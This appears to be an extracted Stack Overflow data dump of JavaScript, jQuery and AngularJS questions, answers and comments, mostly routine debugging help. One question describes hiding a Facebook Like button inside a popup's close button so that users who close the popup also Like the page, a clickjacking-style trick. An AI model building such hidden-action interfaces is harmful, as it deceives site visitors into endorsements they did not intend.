function(props) { for (var prop in props) { attrs.$set(prop, (typeof props[prop] === 'object' ? JSON.stringify(props[prop]) : props[prop])); } }); attrs.$set('dataCompiled', true); $compile(elem)(scope); } } Honestly I don't know what else to do. I've seen the comment with the template example, but I don't want to set the return element hard coded. Plunker with both problems: http://plnkr.co/edit/tbQubTMarjxB8ogzhtey?p=preview jsFiddle: http://jsfiddle.net/plantface/Lwktcyu7/
accepted answer: http://stackoverflow.com/a/25871683
type: AnsweredQuestion
upvote count: 5
downvote count: 1
type: Question
has comment: http://stackoverflow.com/comment/40354883
has comment: http://stackoverflow.com/comment/40355929
has comment: http://stackoverflow.com/comment/40354819

http://stackoverflow.com/q/25723688
tagged with: load
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/25723848
score: 0
type: Question
has title: jQuery .load() no more in
answer count: 1
tagged with: javascript
tagged with: jquery
tagged with: ajax
has body: i have a static html-page and some other files with same schema but other content. Header Lorem Ipsum Lorem Ipsum i will load some new content to #textRed via .load(). everything works fine except the img-tag is after loading outside (after) the a-tag: Header Lorem Ipsum Lorem Ipsum Also if i load the same file. Here my (partial) js: $(function(){ $('#aBtn').on('click', function(event){ $('#textRed').load('newOrSameFile.html #textRed *', function(responseTxt,statusTxt,xhr) { if(statusTxt=="success") console.log('External content loaded'); if(statusTxt=="error") console.log("Error: "+xhr.status+": "+xhr.statusText); }); return false; }); });
has comment: http://stackoverflow.com/comment/40214791
tagged with: http://stackoverflow.com/tag/html

http://stackoverflow.com/a/25830447
accepted answer of: http://stackoverflow.com/q/25828965
has comment: http://stackoverflow.com/comment/40425457
has body: Here is a manual way to do it: First, store the mouse position in stage coordinates. Then apply the scale, and get the new mouse position in stage coordinates. Then offset the stage by oldPosition - newPosition. This effectively puts the same point in the stage back under the mouse. Or as Mark said, you can do it via layer offsets. Though that might not be the most convenient way to do it, depending how your project is setup to use kinetic's features. See these links: Scaling to a fixed point in KineticJS KineticJS Canvas - Scale group from center point Also some side notes: You have some duplication in that code. Why not only have one line under each wheelDelta condition, to determine the newScale, then use that variable in the following lines. I've found that it makes a smooth zoom to do scale *= 1.2 and scale /= 1.2 rather than the straight adding you're doing there. Just a suggestion.
score: 0
type: AcceptedAnswer
type: Answer
answers question: http://stackoverflow.com/q/25828965

http://stackoverflow.com/comment/40373320
has text: Could you please explain how this works? I get most of it, but I don't understand the +!+ at the beginning.
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25810218
type: Comment

http://stackoverflow.com/q/25727206
has title: How to bind an event in a Facebook Like Button
has body: first of all, sorry for my bad english. I would like to create a "like-close" button for my site. Now I'll explain what I mean. I've created 2 div, 1 for an overlay background in all the browser window and one for a window where I ask users to "Like" my facebook page. I have also created a close button for hide the 2 divs and in this button I have hidden another Facebook Like Button and, when a user try to close the popup, he will put a "Like". In this button I wrote "close and like" so, for who thinks It's a clickjacking, the users know what they are doing. I've been able to close the window in the same moment when the user click on the button on the first time (so, before he didn't like my page) with the method FB.Event.subscribe('edge.create', function(response) { jQuery('#overlay').hide(); //hide the overlay jQuery('#popoup').hide(); //hide the popup window }); Now when he visit my page again, the popup will appear again and I don't know how to close it without "dislike" the page. I tried to bind an event "click" in the iframe of like button but it didn't work. I tried to bind an event in the wrapper of the iframe but it didn't work... So I have no more ideas and I know it's possibile because I saw this trick in another web site. Thank you all for help
type: Question
has comment: http://stackoverflow.com/comment/40221951
answer count: 1
tagged with: javascript
tagged with: facebook-like
tagged with: jquery
score: 0
tagged with: events
has answer: http://stackoverflow.com/a/25728493
type: UnansweredQuestion
tagged with: facebook

http://stackoverflow.com/q/25856595
has title: How do I get the current page's URL in an Android WebView using JavaScript?
upvote count: 1
type: AnsweredQuestion
tagged with: android-webview
has body: I'm using a WebView to scrape an unholy mess of a website with a bizarre mix of HTTP and Javascript redirects. In my injected script, I need to get the current URL, but it seems like none of the relevant properties ever return anything other than the URL I passed to WebView.loadUrl, even after a redirect. I've tried: window.location window.location.href document.URL document.location document.location.href document.documentURI So what's going on here and how am I supposed to get the current page's URL with Javascript?
score: 1
type: Question
answer count: 1
downvote count: 0
tagged with: javascript
tagged with: android
tagged with: url
has answer: http://stackoverflow.com/a/25857378
accepted answer: http://stackoverflow.com/a/25857378
favorite count: 0

http://stackoverflow.com/comment/40393476
score: 0
has text: I believe it's still true for today's browsers, along with more "tips" now in animating with CSS: http://www.html5rocks.com/en/tutorials/speed/high-performance-animations/
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25820778

http://stackoverflow.com/comment/40347315
type: Comment
type: QuestionComment
has text: @vtortola second opened socket doesn't receive any HTTP headers or any data (0 - length buffer). It is opened and closed very fast.
comment on: http://stackoverflow.com/q/25713445
score: 0

http://stackoverflow.com/q/25805191
type: Question
has comment: http://stackoverflow.com/comment/40364597
tagged with: javascript
score: 0
has answer: http://stackoverflow.com/a/25805362
upvote count: 1
downvote count: 1
tagged with: jquery
favorite count: 0
has answer: http://stackoverflow.com/a/25805766
has body: i want a piece of code to get the base 64 code of an image when i select a file or upload and store it in a cookiei want to pass this image to a pop up window with out uploading it on server function readCookie(name) { var nameEQ = name + "="; var ca = document.cookie.split(';'); //var allcookies = document.cookie; //alert("all cookie"+allcookies); for(var i=0;i &lt; ca.length;i++) { var c = ca[i]; while (c.charAt(0)==' ') c = c.substring(1,c.length); if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length,c.length); } return null; } function mh_realtime_preview(input,input_id) { if (input.files &amp;&amp; input.files[0]) { var reader = new FileReader(); reader.onload = function (e) { document.cookie= "img1_code = " + e.target.result; document.cookie="test=value"; } reader.readAsDataURL(input.files[0]); } } jQuery(document).ready(function(e) { $("#imgInp").change(function(){ mh_realtime_preview(this,'#img_id'); setTimeout( function() {alert(readCookie("img1_code"));} ,1000); }); }); &lt;/script&gt; &lt;/head&gt; &lt;body&gt; &lt;input type="file" id="imgInp"/&gt; &lt;/body&gt; &lt;/html&gt;
answer count: 4
has answer: http://stackoverflow.com/a/25805690
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/25805551
has title: how to get base 64 code and store it in a cookie

http://stackoverflow.com/comment/40317798
type: AnswerComment
score: 0
has text: Hi Rodrigo, I just started learning this node-mysql-express-jade setup thinggy and I am trying to understand the concepts. however I have a doubt.. doesn't the 'data' contain the whole select * tuple rather than only the password? :-/
type: Comment
comment on: http://stackoverflow.com/a/25778736

http://stackoverflow.com/a/25733228
answers question: http://stackoverflow.com/q/25733137
type: Answer
downvote count: 0
score: 1
has body: Just target your video ID "player" and use the "ended" parameter and you'll be fine, as easy as this: &lt;script type='text/javascript'&gt; document.getElementById('player').addEventListener('ended',myPlayer,false); function myPlayer(e) { if(!e) { e = window.event; } // do something here } &lt;/script&gt;
upvote count: 1
has comment: http://stackoverflow.com/comment/40245934

http://stackoverflow.com/a/25816059
has comment: http://stackoverflow.com/comment/40384794
downvote count: 0
has body: If you're up for jQuery, it's really easy: $(function(){ $("#tbnet-link").remove(); });
type: Answer
answers question: http://stackoverflow.com/q/25816035
has comment: http://stackoverflow.com/comment/40384827
score: 1
upvote count: 1

http://stackoverflow.com/a/25728806
answers question: http://stackoverflow.com/q/25728594
score: 0
type: Answer
has body: What you want can be achieved with &lt;label&gt; elements tied to the ids of the checkboxes. Basically wrap a &lt;label&gt; around everything you want to be able to click to check a checkbox, and add for="checkboxID" where checckboxID is the id of the checkbox. Here's a fiddle.

http://stackoverflow.com/q/25781463
score: 0
has answer: http://stackoverflow.com/a/25781545
has comment: http://stackoverflow.com/comment/40321431
has comment: http://stackoverflow.com/comment/40321372
accepted answer: http://stackoverflow.com/a/25781640
tagged with: javascript
has comment: http://stackoverflow.com/comment/40321576
has comment: http://stackoverflow.com/comment/40321309
type: AnsweredQuestion
tagged with: http://stackoverflow.com/tag/html
has title: How to select a list item only when hovering on the text using Javascript
has body: I create a list item in an unordered list at runtime as follows: // Javascript code var items = document.getElementById("list"); var item = document.createElement("li"); item.className = "ItemClass"; item.innerHTML = "Item"; items.appendChild(item); document.getElementById('list').addEventListener('click', function (event) { if ('LI' != event.target.tagName) return; // Call a javascript function here }, false); // Css Code #list { font-size: 14px; color: #069; } #list ul { list-style:none; } #list ul li { padding-bottom: 5px; } .ItemClass:link { color: #069; text-decoration: none; } .ItemClass:visited { color: #069; text-decoration: none; } .ItemClass:hover { color: #000000; font-size: 20px; text-decoration: none; } I would like to be able to format the list so that an item can only be selected/highlighted when the text is directly hovered over, not when hovering over white space etc. beside it. Currently it can be selected and the javascript event is fired even when not directly hovered. As I am making a single app application I do not want the page to refresh and therefore I don't think I could use a href.How can I fix this, thanks!
type: Question
has comment: http://stackoverflow.com/comment/40321348
answer count: 2
tagged with: css
has comment: http://stackoverflow.com/comment/40321477
has comment: http://stackoverflow.com/comment/40321330
possible better answer: http://stackoverflow.com/a/25781545
has answer: http://stackoverflow.com/a/25781640

http://stackoverflow.com/comment/98851652
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/25799381
type: Comment
has text: Not using the angular expression syntax when assigning the attribute worked for me, thank you so much for being clear and concise and spot on

http://stackoverflow.com/comment/40263088
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/25749481
has text: I need to copy the contents and maintain folder structure within `app/styles/fonts`
score: 0

http://stackoverflow.com/q/25777722
type: UnansweredQuestion
upvote count: 1
has title: Need Help Adding an Integer Array to an Array List in Processing
downvote count: 1
tagged with: processing
tagged with: java
has answer: http://stackoverflow.com/a/25777745
has body: Ok... So I am in the middle of a project, and I've hit a bit of a wall. If anyone could please explain how to add an integer array to an ArrayList of integer Arrays, I would greatly appreciate it. This is in processing, the javascript version more specifically. I have tested and everything works right up to 'symbols.get(i).add(tempArray). If I print tempArray right before that line it gives me '6 10 16 10 16 20', as it should. And no, it's not just the println(symbols) statement, I also tried just 'println("blah");'and that did not show up in the output, so something is going awry at the .get line. size(850,250); String[] myList = new String[100]; ArrayList&lt;Integer[]&gt; symbols = new ArrayList&lt;Integer[]&gt;(); int[] tempArray = new int[]; String numbers = ("6,10,16,10,16,20\n1,25,21,13,3,15\n6,5,20,6,21,20"); myList = (split(numbers, "\n")); int j = myList.length(); for(int i = 0; i&lt;j; i++) { tempArray = int(split(myList[i], ',')); symbols.get(i).add(tempArray); } println(symbols); ... I have also tried the following in place of 'symbols.get(i).add(tempArray);' for(int a = 0; a &lt; tempArray.length(); a++) { symbols.get(i[a]) = tempArray[a]; } println(symbols); ... I have also tried for(int a = 0; a &lt; tempArray.length(); a++) { symbols.get(i) = tempArray[a]; } println(symbols); ... and for(int a = 0; a &lt; tempArray.length(); a++) { symbols[i][a] = tempArray[a]; } println(symbols); I'm out of guesses and tries, any help would be appreciated.
type: Question
score: 0
answer count: 2
tagged with: arrays
tagged with: javascript
has comment: http://stackoverflow.com/comment/40315846
favorite count: 0
tagged with: arraylist
has answer: http://stackoverflow.com/a/25788320

http://stackoverflow.com/q/25818422
has title: Adding to the prototype of an instance of another prototype: JavaScript
possible better answer: http://stackoverflow.com/a/25818511
has comment: http://stackoverflow.com/comment/40389564
has answer: http://stackoverflow.com/a/25818511
accepted answer: http://stackoverflow.com/a/25818464
tagged with: javascript
has comment: http://stackoverflow.com/comment/40389312
has comment: http://stackoverflow.com/comment/40389284
tagged with: prototype
type: AnsweredQuestion
downvote count: 0
favorite count: 0
type: Question
score: 3
has body: My question is simply: How do I set up the prototype of a class that inherits from another class's prototype? My code below works until I try to call Pierre.mySkill(), at which point the console says that the function is undefined. My reason for this, theoretically, is to be able to create instances of Pirault, and also instances of Person, and be able to add to Pirault's prototype without having to add to Person's. function Person (name, age){ this.name = name; this.age = age; } Person.prototype.info = function(){ console.log('I am '+this.name+' and I am '+this.age+' years old.'); }; function Pirault (){ this.skill = arguments[2]; Person.apply(this, arguments); } Pirault.prototype.mySkill = function(){ console.log('My skill is '+this.skill); } Pirault.prototype = Object.create(Person.prototype); Pirault.prototype.constructor = Pirault; var Pierre = new Pirault('Pierre', 30, 'Programming');
has answer: http://stackoverflow.com/a/25818464
upvote count: 3
answer count: 2

http://stackoverflow.com/comment/40515932
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/25884615
has text: It could be the bug from the YUI itself. Maybe you could combine it with JQuery. Something like: $(items).on("focus", function() { Y.log("testing for focus event"); }); JQuery and YUI can co-exist together.
score: 0

http://stackoverflow.com/a/25768245
has comment: http://stackoverflow.com/comment/40297801
has body: getElementsByClassName returns an array-like object. Check it out here: getElementsByClassName "Returns an array-like object of all child elements which have all of the given class names." opnpopup is an array containing all elements with class clck. You can't bind events on arrays. window.onload = function() { var popup = new Popup(); var opnpopup = document.getElementsByClassName('clck'); for ( index = 0; index &lt; opnpopup.length; index++ ) opnpopup[ index ].addEventListener('click', function() { popup.openPopup(); }); var cnclpopup = document.getElementById('cancel'); cnclpopup.addEventListener('click', function() { popup.closePopup(); }); } This code should work, so you bind the click event to all elements in this array.
answers question: http://stackoverflow.com/q/25767616
score: 0
has comment: http://stackoverflow.com/comment/40297320
type: Answer

http://stackoverflow.com/a/25850733
type: Answer
score: 2
has body: Not possible with JavaScript. There are many other questions on Stack Overflow asking the same thing!
upvote count: 2
has comment: http://stackoverflow.com/comment/40447514
downvote count: 0
accepted answer of: http://stackoverflow.com/q/25850638
answers question: http://stackoverflow.com/q/25850638
type: AcceptedAnswer

http://stackoverflow.com/a/25820757
answers question: http://stackoverflow.com/q/25820335
has comment: http://stackoverflow.com/comment/40394883
has comment: http://stackoverflow.com/comment/40394954
score: 0
has comment: http://stackoverflow.com/comment/40396620
has comment: http://stackoverflow.com/comment/40394809
has body: Declaring xScale = returnScale() will just call returnScale once, which doesn't sound like what you want. In your zoom() or update() you need to call returnScale() again, and then do zm.x(xScale)
has comment: http://stackoverflow.com/comment/40394905
has comment: http://stackoverflow.com/comment/40395042
type: Answer
has comment: http://stackoverflow.com/comment/40395288
has comment: http://stackoverflow.com/comment/40394781

http://stackoverflow.com/q/25838291
has comment: http://stackoverflow.com/comment/40425330
has title: regex equal or greater than the number 3
has comment: http://stackoverflow.com/comment/40425633
has comment: http://stackoverflow.com/comment/40425309
tagged with: javascript
has comment: http://stackoverflow.com/comment/40425518
has answer: http://stackoverflow.com/a/25838370
has comment: http://stackoverflow.com/comment/40425559
type: AnsweredQuestion
tagged with: validation
has body: i been searching the net for a while without any success. i appreciate if anyone can solve this problem or at least point me to the right direction. i need a regular expression pattern that does the following: equal or greater than the number 3 must not allow decimals must not allow negative numbers i am using foundation 5 abide.js to validate my form and this requires a regex pattern for advanced validation. this is required to validate a price input field.
has answer: http://stackoverflow.com/a/25838320
favorite count: 0
type: Question
upvote count: 2
answer count: 2
downvote count: 2
accepted answer: http://stackoverflow.com/a/25838370
possible better answer: http://stackoverflow.com/a/25838320
tagged with: php
tagged with: regex
has comment: http://stackoverflow.com/comment/40425322
has comment: http://stackoverflow.com/comment/40425465
score: 0
has comment: http://stackoverflow.com/comment/40425409

http://stackoverflow.com/a/25803819
has comment: http://stackoverflow.com/comment/40368066
type: Answer
answers question: http://stackoverflow.com/q/25803653
has body: You can use function callbacks for this e.g. $('.testimonial').fadeIn('fast', function(){ unlockScroll(); }); In this case function unlockScroll() will execute only after fadeIn finished it's animation. UPD: Added Fiddle
has comment: http://stackoverflow.com/comment/40362761
score: 0

http://stackoverflow.com/comment/40358040
score: 0
type: AnswerComment
has text: @Amadan Gotcha. I put both inside the callback and it seems to be working now. Thank you so much for your help. I learned a little today.
type: Comment
comment on: http://stackoverflow.com/a/25800808

http://stackoverflow.com/a/25857890
type: Answer
answers question: http://stackoverflow.com/q/25857782
has body: Need to put the def of the JS function before using it Syntax error in PHP var days = &lt;?php echo $remainingDay; ?&gt; You must add a ; at the end var days = &lt;?php echo $remainingDay; ?&gt;; Hope this will help, under MAMP after putting JS code on top and adding ";" it seems to work Regards Peter
score: 0

http://stackoverflow.com/comment/40651133
type: Comment
comment on: http://stackoverflow.com/q/25852013
score: 0
has text: Are you getting any errors in the browser console? Can you give more detail on the problem you have?
type: QuestionComment

http://stackoverflow.com/a/25771636
has body: How about closing on mouseout? You need to cancel the close if you move to another div in the calendar though: //get the calendar as element theCalendar = element[0].children[1]; // hide the calendar on mouseout var closeCalendarTimeout = null; angular.element(theCalendar).bind('mouseout', function () { if ( closeCalendarTimeout !== null ) $timeout.cancel(closeCalendarTimeout); closeCalendarTimeout = $timeout(function () { $scope.hideCalendar(); },250) }); angular.element(theCalendar).bind('mouseover', function () { if ( closeCalendarTimeout === null ) return $timeout.cancel(closeCalendarTimeout); closeCalendarTimeout = null; }); EDIT Adding a tabindex attribute to a div causes it to fire focus and blur events. , htmlTemplate = '&lt;div class="datepicker-calendar" tabindex="0"&gt;' + angular.element(theCalendar).bind('blur', function () { $scope.hideCalendar(); });
type: Answer
downvote count: 0
score: 1
has comment: http://stackoverflow.com/comment/40303209
answers question: http://stackoverflow.com/q/25769345
has comment: http://stackoverflow.com/comment/40307172
upvote count: 1
has comment: http://stackoverflow.com/comment/40304160

http://stackoverflow.com/a/25756086
accepted answer of: http://stackoverflow.com/q/25755648
score: 1
answers question: http://stackoverflow.com/q/25755648
has comment: http://stackoverflow.com/comment/40276790
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/40288763
has body: You can use bind to change the context of a function. Live Demo function callback(previous,current,index,array){ console.log(this); return previous+current; } [1,2,3,4,5].reduce(callback); var myObject = {}; [1,2,3,4,5].reduce(callback.bind(myObject));
type: Answer
upvote count: 1

http://stackoverflow.com/comment/40419069
type: QuestionComment
has text: Well, there'll be answers. but this isn't the right way to ask a good question. If getting your job done is your only intention in being part of SO, then carry on.
comment on: http://stackoverflow.com/q/25834460
score: 1
type: Comment

http://stackoverflow.com/comment/40469553
has text: This looks fine but when we close the expanded content the footer should come back to the initial position.
type: AnswerComment
comment on: http://stackoverflow.com/a/25862146
score: 0
type: Comment

http://stackoverflow.com/q/25776679
favorite count: 0
has title: Angular.js unit test does not call $animate.enter callback
tagged with: angularjs
tagged with: unit-testing
type: AnsweredQuestion
downvote count: 0
accepted answer: http://stackoverflow.com/a/26004895
score: 1
type: Question
has answer: http://stackoverflow.com/a/26004895
upvote count: 1
answer count: 1
has body: I wrote a directive that will conditionally add a wrapper element which I modeled after Angular's ngIf directive. The directive works great when running in production, but in trying to add unit tests the $animate.enter function never calls my callback function. This is causing all my unit tests to fail when it assumes that the wrapper is not suppose to be there. I'm using Angular.js version 1.2.16 and loading ngMock and ngAnimate for the unit test. The code fires the ngAnimate enter function, but then it never fires the callback. You can view the code here, just uncomment the appSpec.js script tag and the directive no longer works. Does anyone now how to trigger $animate.enter to call my callback function in a unit test? addWrapperIf.js angular.module('myModule', ['ngAnimate']) .directive('addWrapperIf', ['$animate', function($animate) { return { transclude: 'element', priority: 1000, restrict: 'A', compile: function (element, attr, transclude) { return function ($scope, $element, $attr) { var childElement, childScope; $scope.$watch($attr.addWrapperIf, function addWrapperIfWatchAction(value) { if (childElement) { $animate.leave(childElement); childElement = undefined; } if (childScope) { childScope.$destroy(); childScope = undefined; } // add the wrapper if (value) { childScope = $scope.$new(); transclude(childScope, function (clone) { childElement = clone $animate.enter(clone, $element.parent(), $element); }); } // remove the wrapper else { childScope = $scope.$new(); transclude(childScope, function (clone) { $animate.enter(clone, $element.parent(), $element, function() { childElement = clone.contents(); clone.replaceWith(clone.contents()); }); }); } }); } } }; }]); addWrapperIfSpec.js var expect = chai.expect; describe('addWrapperIf', function () { var $template; var $compile; var $scope; beforeEach(window.module('myModule')); beforeEach(inject(function(_$compile_, $rootScope){ $compile = _$compile_; $scope = $rootScope.$new(); })); function compileDirective(templ…
tagged with: javascript

http://stackoverflow.com/q/25750884
downvote count: 0
score: 44
has comment: http://stackoverflow.com/comment/108174970
has comment: http://stackoverflow.com/comment/40265503
possible better answer: http://stackoverflow.com/a/56392134
has comment: http://stackoverflow.com/comment/108256056
type: Question
accepted answer: http://stackoverflow.com/a/25751128
has body: Philip Roberts does a brilliant job explaining the browser event loop here providing a clear explanation between the call stack, event loop, task queue, and then "outside" threads like webapis. My question is do these parallel the equivalent components in the Node event loop and are they called basically the same thing. That is, when I make a call using Node's file and web i/o libraries, these are things that happen outside the stack whose callbacks are queued in a task queue?
tagged with: javascript
answer count: 3
has answer: http://stackoverflow.com/a/25751128
upvote count: 44
has answer: http://stackoverflow.com/a/56392134
tagged with: dom-events
has comment: http://stackoverflow.com/comment/108256911
favorite count: 0
has title: Are there significant differences between the Chrome browser event loop versus the node event loop?
has comment: http://stackoverflow.com/comment/40265615
has comment: http://stackoverflow.com/comment/40266041
tagged with: node.js
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/64332193

http://stackoverflow.com/comment/40333566
score: 0
type: AnswerComment
has text: @scrit:- Can you show me that in the JSFiddle? I have added the code in the JSFiddle and its working for me. Show me your code so that I can look for it
type: Comment
comment on: http://stackoverflow.com/a/25788237

http://stackoverflow.com/q/25724411
type: AnsweredQuestion
has title: Adding verification to jquery tabs
tagged with: forms
possible better answer: http://stackoverflow.com/a/25724614
type: Question
has answer: http://stackoverflow.com/a/25725032
accepted answer: http://stackoverflow.com/a/25725032
has answer: http://stackoverflow.com/a/25724860
tagged with: javascript
has body: I have setup a demo for my jquery tabs to show you my problem: Demo Fiddle so, I am going to have forms on each of the tabs, what I am wanting to do is add some kind of prevention on the tabs if they have not filled out the fields. So if they try to click on the next tab it only becomes active if they have filled in the info in the first tabs: function checkForm() { if($("#textbox").val()=='') { return false } else { return true; } } $(document).ready(function() { $(".tabs-menu a").click(function(event) { var val = checkForm(); if(val) { event.preventDefault(); $(this).parent().addClass("current"); $(this).parent().siblings().removeClass("current"); var tab = $(this).attr("href"); $(".tab-content").not(tab).css("display", "none"); $(tab).fadeIn(); } else { return false; } }); Your details Additional information Tab 3 Tab 4 Company name: Contact name: Email address: Telephone number: How did you find us? 3 4
score: 0
answer count: 3
has answer: http://stackoverflow.com/a/25724614
tagged with: jquery
tagged with: tabs
tagged with: http://stackoverflow.com/tag/html

http://stackoverflow.com/a/25766211
answers question: http://stackoverflow.com/q/25766085
has body: On the AJAX parameter, use the complete option to trigger a mouse move : j$(document).on('mousemove', function() { if (timeout !== null) { clearTimeout(timeout); } timeout = setTimeout(function() { timeout = null; //calls another page to check if there's new data to display. if so, wipe existing data and update j$.ajax({ url: "/include/new_Groups.php", cache: false, success: function(data){ j$( ".group_Container_Main" ).append( data ).fadeIn('slow'); }, complete: function(data){ j$(document).trigger('mousemove'); } }) .done(function( html ) { }); }, 3000); });
upvote count: 1
score: 1
downvote count: 0
type: Answer

http://stackoverflow.com/comment/50155917
type: AnswerComment
comment on: http://stackoverflow.com/a/26092103
has text: not working for me with node-inspector v0.10.2 and nodemon v1.3.7 in Win7. it will just load node-inspector - any ideas?
score: 0
type: Comment

http://stackoverflow.com/comment/40302233
type: QuestionComment
comment on: http://stackoverflow.com/q/25771150
has text: Any errors in the console?
score: 1
type: Comment

http://stackoverflow.com/a/65965412
answers question: http://stackoverflow.com/q/25757968
downvote count: 0
type: Answer
has body: I added a modal dialog in jsp and tried to open it with javascript in jsx and hit the same error: "...modal is not a function" In my case, simply by adding the missing import to the jsx solved the problem. `import "./../bower/bootstrap/js/modal.js"; // or import ".../bootstrap.min.js"`
score: 2
upvote count: 2

http://stackoverflow.com/q/25792441
has comment: http://stackoverflow.com/comment/40352226
has comment: http://stackoverflow.com/comment/40352294
type: Question
has title: Prevent centring on focused input in hidden overflow area
has answer: http://stackoverflow.com/a/25826087
tagged with: javascript
tagged with: jquery
accepted answer: http://stackoverflow.com/a/25826087
score: 0
has comment: http://stackoverflow.com/comment/40341487
tagged with: http://stackoverflow.com/tag/html
answer count: 1
has comment: http://stackoverflow.com/comment/40380779
has body: It is hard to explain with words so here's a fiddle I made to explain the problem better: http://jsfiddle.net/j2zurbbv/1/. When the first timeout fires the container div is not 'scrolled' which is the behaviour I want. However when the input is outside of the visible part of the div (as it is with the second timeout) the container div centres about this input. Container css: #container { overflow: hidden; height: 200px; position: absolute; width: 200px; } For the record I have only tested this on Chrome 37.0
tagged with: css
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40380661

http://stackoverflow.com/q/25815023
has title: "JavaScript application" Alert message
has comment: http://stackoverflow.com/comment/40382700
type: Question
tagged with: fennec
tagged with: javascript
score: 0
has comment: http://stackoverflow.com/comment/40382690
tagged with: firefox-addon
answer count: 1
accepted answer: http://stackoverflow.com/a/25815122
has body: I'm creating an extension for Firefox for Android which adds dinamically some elements to DOM, and some of them needs to display an alert message. var li=window.content.document.createElement('li'); li.onclick = function(){ alert("lalalalalalallalallalala"); } So I got it, but when the message is displayed, the alert has a "[JavaScript Application]" title. Is there a way to change that title?
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40382871
has answer: http://stackoverflow.com/a/25815122

http://stackoverflow.com/q/25788847
linked to: http://stackoverflow.com/q/10614481
has title: How can I Block right click and double tap to zoom?
has body: Gaming is really really fun when you have to tap and hold to do something, and it activates a context menu. Or when you double tap on a game to do an action and it zooms in. So when I embed a HTML5 game using an iframe, how do I stop right click and double tap to zoom so that the player of the game is not annoyed.
type: UnansweredQuestion
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/40334207
has answer: http://stackoverflow.com/a/25789010
type: Question
tagged with: windows-8
tagged with: javascript
tagged with: touch
score: 0
answer count: 1
tagged with: jquery
has comment: http://stackoverflow.com/comment/40334035

http://stackoverflow.com/comment/40269099
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/25751884
type: Comment
has text: If you want to use Ruby on Rails, use Ruby on Rails. I don't know what you're asking for here other than "How can I do this in Rails?" That's something best answered by a comprehensive guide on the subject.

http://stackoverflow.com/comment/40449510
has text: I did it but didn't work, it's like the handleDragEnd not working.
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25851770
type: Comment

http://stackoverflow.com/comment/40257427
type: AnswerComment
comment on: http://stackoverflow.com/a/25746576
type: Comment
has text: @AnoopJoshi - He is when selecting any other one. I just hid them all on load but with CSS you could easily change that.
score: 0

http://stackoverflow.com/a/41120780
answers question: http://stackoverflow.com/q/25834862
type: Answer
score: 3
upvote count: 3
downvote count: 0
has body: This code will work. Just set your time in milliseconds and write your JS code on loadAfterTime function: &lt;script&gt; window.onload = function(){ setTimeout(loadAfterTime, 1000) }; function loadAfterTime() { // code you need to execute goes here. } &lt;/script&gt;

http://stackoverflow.com/q/25772194
type: AnsweredQuestion
type: Question
has body: I'm wondering how (if possible) I can create the same function, with exactly the same functionality, but to be used with a callback or without it. Here is an example with the "wanted effect" that is not working: function getUsers(req, res, onComplete) { // If the user is not logged in send an error. In other case, send data if (!req.session.session_id) { if (typeof onComplete === 'function') { onComplete({error: true, msg: 'You are not logged in'}); } else { res.json({error: true, msg: 'You are not logged in'}); } } else { //Another similar code... } } It's not working because if I call "getUsers(req, res)", the typeof onComplete is always function, so I cannot detect when I call with or without the callback. The exact problem is that I can call this function from inside my code, with callback (a normal call, like getUsers(req, res, function(cb) {//Do something with cb}); OR I can call this function from an AJAX call in my website, like http://localhost:8080/api/getUsers, what in that case is when it don't works. In the last case I get typeof onComplete === 'function' as true, so I never get the else part executed. I'm supposing that the "request" done by the http call have more parameters than req&amp;res, and that's the reason why onComplete is a function, instead of undefined. The usual AJAX call is like this (javascript in the client side): function getAllUsers() { $.ajax({ url: '/api/getUsers', type: 'GET', success: function(data) { // Remove item and set as main topic the assigned on the server printUsers(data.users[0]); }, error: function(XMLHttpRequest, textStatus, errorThrown) { alert(XMLHttpRequest.responseText); } }); } And the route defined in the config.json of my Node.JS to call the final function is like that: {"path": "/api/getUsers", "method":"get", "callback": "api#getUsers"},
score: 0
has answer: http://stackoverflow.com/a/25772195
accepted answer: http://stackoverflow.com/a/25772195
answer count: 1
has title: How to code a function to be used with or without callback on Javascript?
tagged with: javascript
tagged with: node.js

http://stackoverflow.com/q/25841443
has comment: http://stackoverflow.com/comment/40431262
possible better answer: http://stackoverflow.com/a/25841568
type: Question
accepted answer: http://stackoverflow.com/a/25841925
tagged with: http://stackoverflow.com/tag/html
has title: Rearrange Text/Letters On Mouseover
has comment: http://stackoverflow.com/comment/40431533
tagged with: css
linked to: http://stackoverflow.com/q/5992623
score: 0
answer count: 2
has comment: http://stackoverflow.com/comment/40431617
tagged with: javascript
has body: I'd like for some text on my page to have the letters rearranged when a user hovers over it. For example, mouseover "WORK," and it becomes "OWKR." I suspect js is needed, but I'm still pretty new to js. Below is my html: WORK STUDIO CONTACT NEWS I found a post that helped at Combining .hover() and .replaceWith() and expanded that code for my list. However, I have a feeling my js is not as clean as it could be and the other issue I'm having is that on mouseover, the text is no longer a link. Here's my js: $(document).ready(function() { $("#work").hover( function () { $('#work').text('KROW'); }, function () { $('#work').text('WORK'); } ); $("#studio").hover( function () { $('#studio').text('DUTIOS'); }, function () { $('#studio').text('STUDIO'); } ); $("#contact").hover( function () { $('#contact').text('ANOTTCC'); }, function () { $('#contact').text('CONTACT'); } ); $("#news").hover( function () { $('#news').text('ENSW'); }, function () { $('#news').text('NEWS'); } ); }); I know it's probably not great, but this was the only way I could get it to rearrange like I wanted. Here's the jsfiddle Thanks for any help!
has answer: http://stackoverflow.com/a/25841925
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25841568
tagged with: jquery

http://stackoverflow.com/comment/71926491
type: QuestionComment
has text: Well i ended up creating a desktop service which uses Microsoft speech API to take input and convert to text and then communicate with the browser with web sockets.
type: Comment
score: 1
comment on: http://stackoverflow.com/q/25789249

http://stackoverflow.com/comment/40306677
type: Comment
comment on: http://stackoverflow.com/a/25773384
has text: My question is why does that happen
type: AnswerComment
score: 0

http://stackoverflow.com/q/25717457
accepted answer: http://stackoverflow.com/a/25717613
